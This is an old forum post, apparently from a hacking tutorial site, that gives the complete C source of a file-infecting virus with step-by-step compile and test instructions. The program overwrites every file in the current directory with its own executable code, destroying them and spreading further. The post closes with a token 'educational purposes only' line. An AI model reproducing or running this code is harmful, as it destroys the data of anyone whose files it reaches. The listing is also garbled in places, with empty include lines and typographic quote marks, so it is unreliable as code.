How to Create a Computer Virus in C? -Step wise Explaination

by **Admin** Thu Sep 02, 2010 8:27 am

This
program is an example of how to create a virus in c.This program
demonstrates a simple virus program which upon execution (Running)
creates a copy of itself in the other file.Thus it destroys other files
by infecting them. But the virus infected file is also capable of
spreading the infection to another file and so on.Here’s the source code
of the virus program.

#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2.
Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL
INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it
WARNING: FOR EDUCATIONAL PURPOSES ONLY